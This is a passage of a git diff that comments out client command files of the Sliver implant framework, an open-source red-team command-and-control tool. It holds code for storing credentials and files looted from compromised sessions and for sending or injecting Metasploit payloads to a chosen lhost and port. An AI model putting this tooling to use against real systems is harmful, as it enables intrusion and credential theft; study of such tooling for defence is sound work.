0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' { - // decoding error or control character - not a text file - return false - } - } - return true -} +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "bytes" +// "context" +// "errors" +// "fmt" +// "io/ioutil" +// "os" +// "path" +// "strings" +// "text/tabwriter" +// "unicode/utf8" + +// "github.com/AlecAivazis/survey/v2" +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/bishopfox/sliver/util/encoders" +// "github.com/desertbit/grumble" +// ) + +// var ( +// ErrInvalidFileType = errors.New("invalid file type") +// ErrInvalidLootType = errors.New("invalid loot type") +// ErrNoLootFileData = errors.New("no loot file data") +// ) + +// // --- Loot Helpers for other commands --- + +// // AddLootFile - Add a file as loot +// func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error { +// if len(data) < 1 { +// return ErrNoLootFileData +// } +// var lootType clientpb.LootType +// if isCredential { +// lootType = clientpb.LootType_LOOT_CREDENTIAL +// } else { +// lootType = clientpb.LootType_LOOT_FILE +// } +// var lootFileType clientpb.FileType +// if isText(data) || strings.HasSuffix(fileName, ".txt") { +// lootFileType = clientpb.FileType_TEXT +// } else { +// lootFileType = clientpb.FileType_BINARY +// } +// loot := &clientpb.Loot{ +// Name: name, +// Type: lootType, +// FileType: lootFileType, +// File: &commonpb.File{ +// Name: path.Base(fileName), +// Data: data, +// }, +// } +// if lootType == clientpb.LootType_LOOT_CREDENTIAL { +// loot.CredentialType = clientpb.CredentialType_FILE +// } +// _, err := rpc.LootAdd(context.Background(), loot) +// return err +// } + +// // AddLootUserPassword - Add user/password as loot +// func AddLootUserPassword(rpc rpcpb.SliverRPCClient, name string, user string, password string) error { +// loot := &clientpb.Loot{ +// Name: name, +// Type: clientpb.LootType_LOOT_CREDENTIAL, +// CredentialType: clientpb.CredentialType_USER_PASSWORD, +// Credential: &clientpb.Credential{ +// User: user, +// Password: password, +// }, +// } +// _, err := rpc.LootAdd(context.Background(), loot) +// return err +// } + +// // AddLootAPIKey - Add a api key as loot +// func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error { +// loot := &clientpb.Loot{ +// Name: name, +// Type: clientpb.LootType_LOOT_CREDENTIAL, +// CredentialType: clientpb.CredentialType_API_KEY, +// Credential: &clientpb.Credential{ +// APIKey: apiKey, +// }, +// } +// _, err := rpc.LootAdd(context.Background(), loot) +// return err +// } + +// // --- Loot Command --- +// func lootRoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// filter := ctx.Flags.String("filter") +// var allLoot *clientpb.AllLoot +// var err error +// if filter == "" { +// allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Failed to fetch loot %s\n", err) +// return +// } +// } else { +// lootType, err := lootTypeFromHumanStr(filter) +// if err != nil { +// fmt.Printf(Warn + "Invalid loot type see --help") +// return +// } +// allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType}) +// if err != nil { +// fmt.Printf(Warn+"Failed to fetch loot %s\n", err) +// return +// } +// } +// if filter == "" { +// displayAllLootTable(allLoot) +// } else { +// lootType, _ := lootTypeFromHumanStr(filter) +// switch lootType { +// case clientpb.LootType_LOOT_FILE: +// displayFileLootTable(allLoot) +// case clientpb.LootType_LOOT_CREDENTIAL: +// displayCredentialLootTable(allLoot) +// } +// } +// } + +// func lootAddLocal(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// localPath := ctx.Args.String("path") +// if _, err := os.Stat(localPath); os.IsNotExist(err) { +// fmt.Printf(Warn+"Path '%s' not found\n", localPath) +// return +// } + +// name := ctx.Flags.String("name") +// if name == "" { +// name = path.Base(localPath) +// } + +// var lootType clientpb.LootType +// var err error +// lootTypeStr := ctx.Flags.String("type") +// if lootTypeStr != "" { +// lootType, err = lootTypeFromHumanStr(lootTypeStr) +// if err == ErrInvalidLootType { +// fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr) +// return +// } +// } else { +// lootType = clientpb.LootType_LOOT_FILE +// } + +// lootFileTypeStr := ctx.Flags.String("file-type") +// var lootFileType clientpb.FileType +// if lootFileTypeStr != "" { +// lootFileType, err = lootFileTypeFromHumanStr(lootFileTypeStr) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// } else { +// if isTextFile(localPath) { +// lootFileType = clientpb.FileType_TEXT +// } else { +// lootFileType = clientpb.FileType_BINARY +// } +// } +// data, err := ioutil.ReadFile(localPath) +// if err != nil { +// fmt.Printf(Warn+"Failed to read file %s\n", err) +// return +// } + +// loot := &clientpb.Loot{ +// Name: name, +// Type: lootType, +// FileType: lootFileType, +// File: &commonpb.File{ +// Name: path.Base(localPath), +// Data: data, +// }, +// } +// if lootType == clientpb.LootType_LOOT_CREDENTIAL { +// loot.CredentialType = clientpb.CredentialType_FILE +// } + +// ctrl := make(chan bool) +// go spin.Until(fmt.Sprintf("Uploading loot from %s", localPath), ctrl) +// loot, err = rpc.LootAdd(context.Background(), loot) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } + +// fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID) +// } + +// func lootAddRemote(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// remotePath := ctx.Args.String("path") +// name := ctx.Flags.String("name") +// if name == "" { +// name = path.Base(remotePath) +// } + +// var lootType clientpb.LootType +// var err error +// lootTypeStr := ctx.Flags.String("type") +// if lootTypeStr != "" { +// lootType, err = lootTypeFromHumanStr(lootTypeStr) +// if err == ErrInvalidLootType { +// fmt.Printf(Warn+"Invalid loot type %s", lootTypeStr) +// return +// } +// } else { +// lootType = clientpb.LootType_LOOT_FILE +// } + +// ctrl := make(chan bool) +// go spin.Until(fmt.Sprintf("Looting remote file %s", remotePath), ctrl) + +// download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{ +// Request: ActiveSession.Request(ctx), +// Path: remotePath, +// }) +// if err != nil { +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) // Download failed +// return +// } +// } + +// if download.Encoder == "gzip" { +// download.Data, err = new(encoders.Gzip).Decode(download.Data) +// if err != nil { +// fmt.Printf(Warn+"Decoding failed %s", err) +// return +// } +// } + +// // Determine type based on download buffer +// lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type")) +// if lootFileType == -1 || err != nil { +// if isText(download.Data) { +// lootFileType = clientpb.FileType_TEXT +// } else { +// lootFileType = clientpb.FileType_BINARY +// } +// } +// loot := &clientpb.Loot{ +// Name: name, +// Type: lootType, +// FileType: lootFileType, +// File: &commonpb.File{ +// Name: path.Base(remotePath), +// Data: download.Data, +// }, +// } +// if lootType == clientpb.LootType_LOOT_CREDENTIAL { +// loot.CredentialType = clientpb.CredentialType_FILE +// } + +// loot, err = rpc.LootAdd(context.Background(), loot) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID) +// } + +// func lootRename(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// loot, err := selectLoot(ctx, rpc) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// oldName := loot.Name +// newName := "" +// prompt := &survey.Input{Message: "Enter new name: "} +// survey.AskOne(prompt, &newName) + +// loot, err = rpc.LootUpdate(context.Background(), &clientpb.Loot{ +// LootID: loot.LootID, +// Name: newName, +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// fmt.Printf(Info+"Renamed %s -> %s\n", oldName, loot.Name) +// } + +// func lootRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// loot, err := selectLoot(ctx, rpc) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// _, err = rpc.LootRm(context.Background(), loot) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// fmt.Println() +// fmt.Printf(clearln + Info + "Removed loot from server\n") +// } + +// func lootFetch(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// loot, err := selectLoot(ctx, rpc) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// loot, err = rpc.LootContent(context.Background(), loot) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// // Handle loot based on its type +// switch loot.Type { +// case clientpb.LootType_LOOT_FILE: +// displayLootFile(loot) +// case clientpb.LootType_LOOT_CREDENTIAL: +// displayLootCredential(loot) +// } + +// if ctx.Flags.String("save") != "" { +// savedTo, err := saveLootToDisk(ctx, loot) +// if err != nil { +// fmt.Printf("Failed to save loot %s\n", err) +// } +// if savedTo != "" { +// fmt.Printf(Info+"Saved loot to %s\n", savedTo) +// } +// } +// } + +// func lootAddCredential(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// prompt := &survey.Select{ +// Message: "Choose a credential type:", +// Options: []string{ +// clientpb.CredentialType_API_KEY.String(), +// clientpb.CredentialType_USER_PASSWORD.String(), +// }, +// } +// credType := "" +// survey.AskOne(prompt, &credType, survey.WithValidator(survey.Required)) +// name := ctx.Flags.String("name") +// if name == "" { +// namePrompt := &survey.Input{Message: "Credential Name: "} +// fmt.Println() +// survey.AskOne(namePrompt, &name) +// fmt.Println() +// } + +// loot := &clientpb.Loot{ +// Type: clientpb.LootType_LOOT_CREDENTIAL, +// Name: name, +// Credential: &clientpb.Credential{}, +// } + +// switch credType { +// case clientpb.CredentialType_USER_PASSWORD.String(): +// loot.CredentialType = clientpb.CredentialType_USER_PASSWORD +// usernamePrompt := &survey.Input{Message: "Username: "} +// survey.AskOne(usernamePrompt, &loot.Credential.User) +// passwordPrompt := &survey.Input{Message: "Password: "} +// survey.AskOne(passwordPrompt, &loot.Credential.Password) +// case clientpb.CredentialType_API_KEY.String(): +// loot.CredentialType = clientpb.CredentialType_API_KEY +// usernamePrompt := &survey.Input{Message: "API Key: "} +// survey.AskOne(usernamePrompt, &loot.Credential.APIKey) +// } + +// loot, err := rpc.LootAdd(context.Background(), loot) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// fmt.Printf(Info+"Successfully added loot to server (%s)\n", loot.LootID) +// } + +// func displayLootFile(loot *clientpb.Loot) { +// if loot.File == nil { +// return +// } +// fmt.Println() + +// if loot.File.Name != "" { +// fmt.Printf("%sFile Name:%s %s\n\n", bold, normal, loot.File.Name) +// } +// if loot.File.Data != nil && 0 < len(loot.File.Data) { +// if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) { +// fmt.Printf(string(loot.File.Data)) +// } else { +// fmt.Printf("<%d bytes of binary data>\n", len(loot.File.Data)) +// } +// } else { +// fmt.Printf("No file data\n") +// } +// } + +// func displayLootCredential(loot *clientpb.Loot) { +// fmt.Println() +// switch loot.CredentialType { +// case clientpb.CredentialType_USER_PASSWORD: +// if loot.Credential != nil { +// fmt.Printf("%s User:%s %s\n", bold, normal, loot.Credential.User) +// fmt.Printf("%sPassword:%s %s\n", bold, normal, loot.Credential.Password) +// } +// if loot.File != nil { +// displayLootFile(loot) +// } +// case clientpb.CredentialType_API_KEY: +// if loot.Credential != nil { +// fmt.Printf("%sAPI Key:%s %s\n", bold, normal, loot.Credential.APIKey) +// } +// if loot.File != nil { +// displayLootFile(loot) +// } +// case clientpb.CredentialType_FILE: +// if loot.File != nil { +// displayLootFile(loot) +// } +// default: +// fmt.Printf("%v\n", loot.Credential) // Well, let's give it our best +// } +// } + +// // Any loot with a "File" can be saved to disk +// func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) { +// if loot.File == nil { +// return "", errors.New("Loot does not contain a file") +// } + +// saveTo := ctx.Flags.String("save") +// fi, err := os.Stat(saveTo) +// if err != nil && !os.IsNotExist(err) { +// return "", err +// } +// if err == nil && fi.IsDir() { +// saveTo = path.Join(saveTo, path.Base(loot.File.Name)) +// } +// if _, err := os.Stat(saveTo); err == nil { +// overwrite := false +// prompt := &survey.Confirm{Message: "Overwrite local file?"} +// survey.AskOne(prompt, &overwrite, nil) +// if !overwrite { +// return "", nil +// } +// } +// err = ioutil.WriteFile(saveTo, loot.File.Data, 0600) +// return saveTo, err +// } + +// func displayAllLootTable(allLoot *clientpb.AllLoot) { +// if allLoot == nil || len(allLoot.Loot) == 0 { +// fmt.Printf(Info + "No loot šŸ™\n") +// return +// } + +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + +// // Column Headers +// fmt.Fprintln(table, "Type\tName\tUUID\t") +// fmt.Fprintf(table, "%s\t%s\t%s\t\n", +// strings.Repeat("=", len("Type")), +// strings.Repeat("=", len("Name")), +// strings.Repeat("=", len("UUID")), +// ) +// for _, loot := range allLoot.Loot { +// fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID) +// } + +// table.Flush() +// fmt.Printf(outputBuf.String()) +// } + +// func displayFileLootTable(allLoot *clientpb.AllLoot) { +// if allLoot == nil || len(allLoot.Loot) == 0 { +// fmt.Printf(Info + "No loot šŸ™\n") +// return +// } + +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + +// // Column Headers +// fmt.Fprintln(table, "Type\tName\tFile Name\tSize\tUUID\t") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("Type")), +// strings.Repeat("=", len("Name")), +// strings.Repeat("=", len("File Name")), +// strings.Repeat("=", len("Size")), +// strings.Repeat("=", len("UUID")), +// ) +// for _, loot := range allLoot.Loot { +// if loot.Type != clientpb.LootType_LOOT_FILE { +// continue +// } +// size := 0 +// name := "" +// if loot.File != nil { +// name = loot.File.Name +// size = len(loot.File.Data) +// } +// fmt.Fprintf(table, "%s\t%s\t%s\t%d\t%s\t\n", +// fileTypeToStr(loot.FileType), +// loot.Name, +// name, +// size, +// loot.LootID, +// ) +// } + +// table.Flush() +// fmt.Printf(outputBuf.String()) +// } + +// func displayCredentialLootTable(allLoot *clientpb.AllLoot) { +// if allLoot == nil || len(allLoot.Loot) == 0 { +// fmt.Printf(Info + "No loot šŸ™\n") +// return +// } + +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + +// // Column Headers +// fmt.Fprintln(table, "Type\tName\tUser\tPassword\tAPI Key\tFile Name\tUUID\t") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("Type")), +// strings.Repeat("=", len("Name")), +// strings.Repeat("=", len("User")), +// strings.Repeat("=", len("Password")), +// strings.Repeat("=", len("API Key")), +// strings.Repeat("=", len("File Name")), +// strings.Repeat("=", len("UUID")), +// ) +// for _, loot := range allLoot.Loot { +// if loot.Type != clientpb.LootType_LOOT_CREDENTIAL { +// continue +// } +// fileName := "" +// if loot.File != nil { +// fileName = loot.File.Name +// } +// user := "" +// password := "" +// apiKey := "" +// if loot.Credential != nil { +// user = loot.Credential.User +// password = loot.Credential.Password +// apiKey = loot.Credential.APIKey +// } +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", +// credentialTypeToString(loot.CredentialType), +// loot.Name, +// user, +// password, +// apiKey, +// fileName, +// loot.LootID, +// ) +// } +// table.Flush() +// fmt.Printf(outputBuf.String()) +// } + +// func selectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) { + +// // Fetch data with optional filter +// filter := ctx.Flags.String("filter") +// var allLoot *clientpb.AllLoot +// var err error +// if filter == "" { +// allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{}) +// if err != nil { +// return nil, err +// } +// } else { +// lootType, err := lootTypeFromHumanStr(filter) +// if err != nil { +// return nil, ErrInvalidFileType +// } +// allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType}) +// if err != nil { +// return nil, err +// } +// } + +// // Render selection table +// buf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0) +// for _, loot := range allLoot.Loot { +// fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID) +// } +// table.Flush() +// options := strings.Split(buf.String(), "\n") +// options = options[:len(options)-1] +// if len(options) == 0 { +// return nil, errors.New("no loot to select from") +// } + +// selected := "" +// prompt := &survey.Select{ +// Message: "Select a piece of loot:", +// Options: options, +// } +// err = survey.AskOne(prompt, &selected) +// if err != nil { +// return nil, err +// } +// for index, value := range options { +// if value == selected { +// return allLoot.Loot[index], nil +// } +// } +// return nil, errors.New("loot not found") +// } + +// func lootTypeToStr(value clientpb.LootType) string { +// switch value { +// case clientpb.LootType_LOOT_FILE: +// return "File" +// case clientpb.LootType_LOOT_CREDENTIAL: +// return "Credential" +// default: +// return "" +// } +// } + +// func credentialTypeToString(value clientpb.CredentialType) string { +// switch value { +// case clientpb.CredentialType_API_KEY: +// return "API Key" +// case clientpb.CredentialType_USER_PASSWORD: +// return "User/Password" +// case clientpb.CredentialType_FILE: +// return "File" +// default: +// return "" +// } +// } + +// func fileTypeToStr(value clientpb.FileType) string { +// switch value { +// case clientpb.FileType_BINARY: +// return "Binary" +// case clientpb.FileType_TEXT: +// return "Text" +// default: +// return "" +// } +// } + +// func lootFileTypeFromHumanStr(value string) (clientpb.FileType, error) { +// switch strings.ToLower(value) { + +// case "b": +// fallthrough +// case "bin": +// fallthrough +// case "binary": +// return clientpb.FileType_BINARY, nil + +// case "t": +// fallthrough +// case "utf-8": +// fallthrough +// case "utf8": +// fallthrough +// case "txt": +// fallthrough +// case "text": +// return clientpb.FileType_TEXT, nil + +// default: +// return -1, ErrInvalidFileType +// } +// } + +// func lootTypeFromHumanStr(value string) (clientpb.LootType, error) { +// switch strings.ToLower(value) { + +// case "c": +// fallthrough +// case "cred": +// fallthrough +// case "creds": +// fallthrough +// case "credentials": +// fallthrough +// case "credential": +// return clientpb.LootType_LOOT_CREDENTIAL, nil + +// case "f": +// fallthrough +// case "files": +// fallthrough +// case "file": +// return clientpb.LootType_LOOT_FILE, nil + +// default: +// return -1, ErrInvalidLootType +// } +// } + +// // Taken from: https://cs.opensource.google/go/x/tools/+/refs/tags/v0.1.4:godoc/util/util.go;l=69 + +// // textExt[x] is true if the extension x indicates a text file, and false otherwise. +// var textExt = map[string]bool{ +// ".css": false, // Ignore as text +// ".js": false, // Ignore as text +// ".svg": false, // Ignore as text +// } + +// // isTextFile reports whether the file has a known extension indicating +// // a text file, or if a significant chunk of the specified file looks like +// // correct UTF-8; that is, if it is likely that the file contains human- +// // readable text. +// func isTextFile(filePath string) bool { +// // if the extension is known, use it for decision making +// if isText, found := textExt[path.Ext(filePath)]; found { +// return isText +// } + +// // the extension is not known; read an initial chunk +// // of the file and check if it looks like text +// f, err := os.Open(filePath) +// if err != nil { +// return false +// } +// defer f.Close() + +// var buf [1024]byte +// n, err := f.Read(buf[0:]) +// if err != nil { +// return false +// } + +// return isText(buf[0:n]) +// } + +// // isText reports whether a significant prefix of s looks like correct UTF-8; +// // that is, if it is likely that s is human-readable text. +// func isText(sample []byte) bool { +// const max = 1024 // at least utf8.UTFMax +// if len(sample) > max { +// sample = sample[0:max] +// } +// for i, c := range string(sample) { +// if i+utf8.UTFMax > len(sample) { +// // last char may be incomplete - ignore +// break +// } +// if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' { +// // decoding error or control character - not a text file +// return false +// } +// } +// return true +// } diff --git a/client/command/monitor.go b/client/command/monitor.go index b1ef8f9ed8..d7d08cc8d9 100644 --- a/client/command/monitor.go +++ b/client/command/monitor.go @@ -1,50 +1,50 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) - -func monitorStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - resp, err := rpc.MonitorStart(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s", err) - return - } - if resp != nil && resp.Err != "" { - fmt.Printf(Warn+"%s", resp.Err) - return - } - fmt.Printf(Info + "Started monitoring threat intel platforms for implants hashes") -} - -func monitorStopCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - _, err := rpc.MonitorStop(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s", err) - return - } - fmt.Printf(Info + "Stopped monitoring threat intel platforms for implants hashes") -} +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "fmt" + +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/desertbit/grumble" +// ) + +// func monitorStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// resp, err := rpc.MonitorStart(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// return +// } +// if resp != nil && resp.Err != "" { +// fmt.Printf(Warn+"%s", resp.Err) +// return +// } +// fmt.Printf(Info + "Started monitoring threat intel platforms for implants hashes") +// } + +// func monitorStopCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// _, err := rpc.MonitorStop(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// return +// } +// fmt.Printf(Info + "Stopped monitoring threat intel platforms for implants hashes") +// } diff --git a/client/command/msf.go b/client/command/msf.go index 55692058a9..9b8f9f2dea 100644 --- a/client/command/msf.go +++ b/client/command/msf.go @@ -1,117 +1,117 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - - "github.com/bishopfox/sliver/client/spin" - - "github.com/desertbit/grumble" -) - -func msf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - payloadName := ctx.Flags.String("payload") - lhost := ctx.Flags.String("lhost") - lport := ctx.Flags.Int("lport") - encoder := ctx.Flags.String("encoder") - iterations := ctx.Flags.Int("iterations") - - if lhost == "" { - fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr) - return - } - - ctrl := make(chan bool) - msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...", - payloadName, session.OS, session.Arch, lhost, lport) - go spin.Until(msg, ctrl) - _, err := rpc.Msf(context.Background(), &clientpb.MSFReq{ - Request: ActiveSession.Request(ctx), - Payload: payloadName, - LHost: lhost, - LPort: uint32(lport), - Encoder: encoder, - Iterations: int32(iterations), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else { - fmt.Printf(Info + "Executed payload on target\n") - } -} - -func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - payloadName := ctx.Flags.String("payload") - lhost := ctx.Flags.String("lhost") - lport := ctx.Flags.Int("lport") - encoder := ctx.Flags.String("encoder") - iterations := ctx.Flags.Int("iterations") - pid := ctx.Flags.Int("pid") - - if lhost == "" { - fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr) - return - } - - if pid == -1 { - fmt.Printf(Warn+"Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr) - return - } - - ctrl := make(chan bool) - msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...", - payloadName, session.OS, session.Arch, lhost, lport) - go spin.Until(msg, ctrl) - _, err := rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{ - Request: ActiveSession.Request(ctx), - Payload: payloadName, - LHost: lhost, - LPort: uint32(lport), - Encoder: encoder, - Iterations: int32(iterations), - PID: uint32(pid), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else { - fmt.Printf(Info + "Executed payload on target\n") - } -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "fmt" + +// consts "github.com/bishopfox/sliver/client/constants" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" + +// "github.com/bishopfox/sliver/client/spin" + +// "github.com/desertbit/grumble" +// ) + +// func msf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { + +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// payloadName := ctx.Flags.String("payload") +// lhost := ctx.Flags.String("lhost") +// lport := ctx.Flags.Int("lport") +// encoder := ctx.Flags.String("encoder") +// iterations := ctx.Flags.Int("iterations") + +// if lhost == "" { +// fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr) +// return +// } + +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...", +// payloadName, session.OS, session.Arch, lhost, lport) +// go spin.Until(msg, ctrl) +// _, err := rpc.Msf(context.Background(), &clientpb.MSFReq{ +// Request: ActiveSession.Request(ctx), +// Payload: payloadName, +// LHost: lhost, +// LPort: uint32(lport), +// Encoder: encoder, +// Iterations: int32(iterations), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else { +// fmt.Printf(Info + "Executed payload on target\n") +// } +// } + +// func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { + +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// payloadName := ctx.Flags.String("payload") +// lhost := ctx.Flags.String("lhost") +// lport := ctx.Flags.Int("lport") +// encoder := ctx.Flags.String("encoder") +// iterations := ctx.Flags.Int("iterations") +// pid := ctx.Flags.Int("pid") + +// if lhost == "" { +// fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr) +// return +// } + +// if pid == -1 { +// fmt.Printf(Warn+"Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr) +// return +// } + +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...", +// payloadName, session.OS, session.Arch, lhost, lport) +// go spin.Until(msg, ctrl) +// _, err := rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{ +// Request: ActiveSession.Request(ctx), +// Payload: payloadName, +// LHost: lhost, +// LPort: uint32(lport), +// Encoder: encoder, +// Iterations: int32(iterations), +// PID: uint32(pid), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else { +// fmt.Printf(Info + "Executed payload on target\n") +// } +// } diff --git a/client/command/netstat.go b/client/command/netstat.go index 3059432f88..2f343c6039 100644 --- 